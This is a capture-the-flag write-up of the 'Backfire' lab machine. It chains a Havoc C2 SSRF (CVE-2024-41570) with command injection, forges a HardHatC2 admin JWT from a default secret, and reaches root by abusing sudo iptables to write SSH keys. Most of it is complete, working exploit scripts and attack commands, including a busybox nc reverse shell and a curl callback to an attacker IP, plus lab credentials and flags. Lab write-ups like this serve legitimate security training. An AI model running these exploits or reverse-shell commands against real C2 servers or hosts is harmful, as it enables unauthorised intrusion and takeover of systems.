Backfire

Recon

nmap_scan.log

HTTP (8080)

Just 2 files available for download

Writeup.png

Havoc C2

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

Havoc: Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.

SSRF

Havoc-C2-SSRF-pocUnauthenticated SSRF (CVE-2024-41570) on Havoc C2 teamserver via spoofed demon agent

└─$ git clone -q https://github.com/chebuya/Havoc-C2-SSRF-poc.git
└─$ cd Havoc-C2-SSRF-poc

PoC seems to have worked since we got a callback from the server itself

Writeup-1.png

Hmmm... but SSRF what exactly..

Vulnerabilities in Open Source C2 Frameworks -> https://github.com/IncludeSecurity/c2-vulnerabilities/blob/main/havoc_auth_rce/havoc_rce.py

└─$ git clone -q https://github.com/IncludeSecurity/c2-vulnerabilities.git
└─$ cd c2-vulnerabilities/havoc_auth_rce

After many trials and errors we were able to combine SSRF with RCE to get command execution. Since Havoc is using websockets we must write our packets in raw format, no socket modules and whatnot (GPT was kind enough to provide code for that). First we upgrade communication to WebSockets, then start the injection of RCE commands which is in above repo.

SSRF + RCE

SSRF script was modified to match our needs, after Custom RCE starts.

# Exploit Title: Havoc C2 0.7 Unauthenticated SSRF
# Date: 2024-07-13
# Exploit Author: @_chebuya
# Software Link: https://github.com/HavocFramework/Havoc
# Version: v0.7
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-41570
# Description: This exploit works by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more.
# Github: https://github.com/chebuya/Havoc-C2-SSRF-poc
# Blog: https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
#########################
### Updated by: WoyAg ###
#########################

from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util import Counter
from hashlib import sha3_256
import argparse
import json
import random
import requests
requests.packages.urllib3.disable_warnings()

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(iv.hex(), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):
    if len(key) <= key_bytes:
        for x in range(len(key), key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(iv.hex(), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data = b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"
    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"

    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand + socket_id + socket_type + success + data_length + data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)


    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data
    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""

    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
parser.add_argument("-c", "--cmd", help="Command to run", default="sleep 5")

args = parser.parse_args()

magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = { "User-Agent": args.user_agent }
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))


register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

############################################################################################################
###########################                        CUSTOM                        ###########################
############################################################################################################

def create_websocket_frame(payload, opcode=1, fin=True, mask=True):
    """
    Creates a raw WebSocket frame according to RFC 6455.
    
    Args:
        payload (bytes): The data to be sent in the frame.
        opcode (int, optional): Opcode defining the frame type. Defaults to 1 (text frame).
        fin (bool, optional): FIN bit indicating if this is the final frame. Defaults to True.
        mask (bool, optional): Whether to mask the payload. Defaults to True (required for client frames).
    
    Returns:
        bytes: The raw WebSocket frame as bytes.
    """
    if not isinstance(payload, bytes):
        payload = payload.encode()
    
    # First byte: FIN (bit 7) and opcode (bits 3-0)
    first_byte = (0x80 if fin else 0x00) | (opcode & 0x0F)
    
    # Second byte: MASK (bit 7) and payload length
    payload_length = len(payload)
    second_byte = (0x80 if mask else 0x00) | (
        126 if payload_length > 125 else 127 if payload_length > 65535 else payload_length
    )
    
    # Extended length for payloads > 125 bytes
    extended_length = (
        payload_length.to_bytes(2, 'big') if 126 <= payload_length <= 65535 else
        payload_length.to_bytes(8, 'big') if payload_length > 65535 else b''
    )
    
    # Mask the payload if required
    mask_key = random.urandom(4) if mask else b''
    masked_payload = bytes([payload[i] ^ mask_key[i % 4] for i in range(payload_length)]) if mask else payload
    
    # Assemble the frame
    return bytes([first_byte, second_byte]) + extended_length + mask_key + masked_payload

def write_and_read_socket(socket_id, request_data):
    write_socket(socket_id, request_data)
    print(read_socket(socket_id).decode())

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_key = b64encode(random.randbytes(16)).decode()
init_connection = f'''GET /havoc/ HTTP/1.1
Host: {args.ip}:{args.port}
Upgrade: websocket
Sec-WebSocket-Key: {websocket_key}
Sec-WebSocket-Version: 13
Connection: Upgrade

'''
print(init_connection)
write_and_read_socket(socket_id, init_connection.encode())

auth_to_teamserver = {
    "Body": {
        "Info": {
            "Password": sha3_256(PASSWORD.encode()).hexdigest(),
            "User": USER
        },
        "SubEvent": 3
    },
    "Head": {
        "Event": 1,
        "OneTime": "",
        "Time": "18:40:17",
        "User": USER
    }
}
auth_to_teamserver = json.dumps(auth_to_teamserver)
print(auth_to_teamserver)
write_and_read_socket(socket_id, create_websocket_frame(auth_to_teamserver))

payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
create_listener = {
    "Body": {
        "Info": {
            "Headers": "",
            "HostBind": "0.0.0.0",
            "HostHeader": "",
            "HostRotation": "round-robin",
            "Hosts": "0.0.0.0",
            "Name": "letmein",
            "PortBind": "443",
            "PortConn": "443",
            "Protocol": "Https",
            "Proxy Enabled": "false",
            "Secure": "true",
            "Status": "online",
            "Uris": "",
            "UserAgent": "LetMeIn"
        },
        "SubEvent": 1
    },
    "Head": {
        "Event": 2,
        "OneTime": "",
        "Time": "08:39:18",
        "User": "USER"
    }
}
create_listener = json.dumps(create_listener)
print(create_listener)
write_and_read_socket(socket_id, create_websocket_frame(create_listener))

payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"XinjectionX\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "letmein"}, "SubEvent": 2}, "Head": { "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": "XUSERX"}}



############################################################################################################

injection = """ \\\\\\\" -mbla; """ + args.cmd + """ 1>&2 && false #"""
injection_config = ('''
{
    "Amsi/Etw Patch": "None",
    "Indirect Syscall": false,
    "Injection": {
        "Alloc": "Native/Syscall",
        "Execute": "Native/Syscall",
        "Spawn32": "C:\\\\Windows\\\\SysWOW64\\notepad.exe",
        "Spawn64": "C:\\\\Windows\\\\System32\\notepad.exe"
    },
    "Jitter": "0",
    "Proxy Loading": "None (LdrLoadDll)",
    "Service Name":"%s",
    "Sleep": "2",
    "Sleep Jmp Gadget": "None",
    "Sleep Technique": "WaitForSingleObjectEx",
    "Stack Duplication": false
}
''' % injection).strip()
injection_request = {
    "Body": {
        "Info": {
            "AgentType": "Demon",
            "Arch": "x64",
            "Config": injection_config,
            "Format": "Windows Service Exe",
            "Listener": "letmein"
        },
        "SubEvent": 2
    },
    "Head": {
        "Event": 5,
        "OneTime": "true",
        "Time": "18:39:04",
        "User": USER
    }
}
injection_request = json.dumps(injection_request)
print(injection_request)
write_and_read_socket(socket_id, create_websocket_frame(injection_request))
└─$ py -u exploit_sockets.py -t https://10.129.203.180 -i 127.0.0.1 -p 40056 -c 'curl 10.10.14.44/letmein' | grep -v '\*\*\*'
Writeup-2.png

Since it's a Linux box I first tried busybox nc for reverse shell and it worked.

└─$ py -u exploit_sockets.py -t https://10.129.203.180 -i 127.0.0.1 -p 40056 -c 'busybox nc 10.10.14.44 4444 -e /bin/bash ' | grep -v '\*\*\*'
└─$ pwncat-cs -lp 4444
[13:26:11] Welcome to pwncat 🐈!                                                         __main__.py:164
[13:26:25] received connection from 10.129.203.180:43450                                      bind.py:84
[13:26:30] 10.129.203.180:43450: registered new host w/ db                                manager.py:957
(local) pwncat$
(remote) ilya@backfire:/home/ilya/Havoc/payloads/Demon$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

SSH (22)

Upgrade to SSH

└─$ ssh-keygen -f id_rsa -P x -q
└─$ echo "mkdir ~/.ssh; echo '$(cat id_rsa.pub)' > ~/.ssh/authorized_keys"
mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken' > ~/.ssh/authorized_keys
--- Run the command on remote
└─$ ssh ilya@backfire.htb -i id_rsa
Warning: Permanently added 'backfire.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
ilya@backfire:~$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

User.txt

ilya@backfire:~$ cat user.txt
a7cdca7e6ba9173d3ca91ed4b3bb63e1

Privilege Escalation (sergej)

Passwords in havoc.yaotl doesn't work on the box users.

ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I dont wanna learn another C2 framework, also Go > C#

Googling about this C2 first post I see is HardHatC2 0-Days (RCE & AuthN Bypass)

ilya@backfire:~$ ss -tunlp4
Netid    State     Recv-Q     Send-Q         Local Address:Port          Peer Address:Port    Process
udp      UNCONN    0          0                    0.0.0.0:68                 0.0.0.0:*
tcp      LISTEN    0          4096               127.0.0.1:8443               0.0.0.0:*
tcp      LISTEN    0          511                  0.0.0.0:8000               0.0.0.0:*
tcp      LISTEN    0          128                  0.0.0.0:22                 0.0.0.0:*
tcp      LISTEN    0          511                  0.0.0.0:443                0.0.0.0:*
tcp      LISTEN    0          4096               127.0.0.1:40056              0.0.0.0:*
tcp      LISTEN    0          512                  0.0.0.0:5000               0.0.0.0:*
tcp      LISTEN    0          512                  0.0.0.0:7096               0.0.0.0:*

HardHatC2

HardHatC2 server is running on port 7096 internally

ilya@backfire:~$ curl 0:7096/
curl: (52) Empty reply from server
ilya@backfire:~$ curl https://0:7096/ -sk | grep HardHatC2 -in
10:    <link href="HardHatC2Client.styles.css" rel="stylesheet" />

sergej is running this C2 server so we can't read files

ilya@backfire:~$ ps aux | grep HardHatC2 -i
sergej      7298  1.7  6.7 274255248 268396 ?    Ssl  13:40   0:09 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej      7355  1.2  3.7 274223364 150368 ?    Sl   13:40   0:07 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej      7372  1.1  4.5 274205752 179844 ?    Sl   13:40   0:06 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
ilya        7725  0.0  0.0   6332  2100 pts/0    S+   13:49   0:00 grep HardHatC2 -i

Github repo mentions port 5000 which seems to be TeamServer listener

Writeup-3.png

Port forward

└─$ ssh ilya@backfire.htb -i id_rsa -L 7096:0:7096
Writeup-4.png

Frontend is using Blazor, but I couldn't find any DLL in traffic.

Credentials from Havoc still didn't work.

I thought that 5000 was serving Havoc files, but it was 8000 which was serving them; Port forward both of them

└─$ ssh ilya@backfire.htb -i id_rsa -L 5000:0:5000 -L 7096:0:7096

Auth Bypass

Using blog's script we are able to create an account:

# @author Siam Thanat Hack Co., Ltd. (STH)
# Updated by WoyAg
from argparse import ArgumentParser
import jwt
import datetime
import uuid
import requests
requests.packages.urllib3.disable_warnings()

def get_admin_token():
    # Craft Admin JWT
    secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" # Default secret
    issuer = "hardhatc2.com"
    now = datetime.datetime.utcnow()

    expiration = now + datetime.timedelta(days=28)
    payload = {
        "sub": "HardHat_Admin",  
        "jti": str(uuid.uuid4()),
        "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
        "iss": issuer,
        "aud": issuer,
        "iat": int(now.timestamp()),
        "exp": int(expiration.timestamp()),
        "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
    }

    token = jwt.encode(payload, secret, algorithm="HS256")
    return token

def register(host, token, username, password):
    # Use Admin JWT to create a new user 'sth_pentest' as TeamLead
    url = f"https://{host}/Login/Register"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    json = {
        "username": username,
        "password": password,
        "role": "TeamLead"
    }
    resp = requests.post(url, headers=headers, json=json, verify=False)
    return resp

if __name__ == '__main__':
    parser = ArgumentParser()
    parser.add_argument("-H", "--host",     help="Hostname IP:PORT format", required=True)
    parser.add_argument("-u", "--username", help="Username",                required=True)
    parser.add_argument("-p", "--password", help="Password",                required=True)

    token = get_admin_token()
    print(f"Generated JWT: {token}")

    args = parser.parse_args()
    resp = register(args.host, token, args.username, args.password)
    print(f'Response: {resp.text}')
└─$ py auth_bypass.py -H 127.0.0.1:5000 -u test03 -p test03
Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiYmFhMjNhZTUtNDhmYy00YzZkLWI1ZmQtOTYyNWRjOWM2Y2RhIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3MzczMzMyNjAsImV4cCI6MTczOTc1MjQ2MCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.KyX2TbwjrGRTZ-QpC3HBTfxx1qwGPFHiYzd3E0RE8O4
Response: User test03 created
Writeup-5.png

RCE

Writeup-6.png

We are running commands as serjey

Upgrade to SSH, serjey doesn't have key

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken' > ~/.ssh/authorized_keys

Hit SEND like 1000times to actually execute command....

└─$ ssh sergej@backfire.htb -i id_rsa
sergej@backfire:~$ id
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)

Privilege Escalation (root)

sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

IPTables

A Journey From sudo iptables To Local Privilege Escalation

sergej@backfire:~$ cp /etc/passwd .
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n'"pwn:$(openssl passwd -6 -salt y x):0:0:root:/root:/bin/bash"$'\n'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
pwn:$6$y$4xx1lw55Q8TDG7zVeK8NfVl5UVNMY7G6B7wSqzjYRihBVifBTLGMWIBOz8U43l3Q3JnupvcUrqIEjrgrpGYOl/:0:0:root:/root:/bin/bash
" -j ACCEPT
sergej@backfire:~$ sudo iptables-save -f /etc/passwd
Failed to open file, error: Operation not permitted

We are unable to write to /etc/passwd

The file has immutable attribute which means almost nothing can change this file, not even root unless it is removed.

sergej@backfire:~$ lsattr /etc/passwd
----i---------e------- /etc/passwd
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken\n'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSqT435CihYsIddCWbxsg6w1tY63PvgxW6yZZtzCQd9 woyag@kraken
" -j ACCEPT
sergej@backfire:~$ sudo iptables-save -f /root/.ssh/authorized_keys
---
└─$ ssh root@backfire.htb -i id_rsa
Warning: Permanently added 'backfire.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@backfire:~# cat /root/root.txt
df6a7fcfc5b727579f8d198dbfe3d5d5

Last updated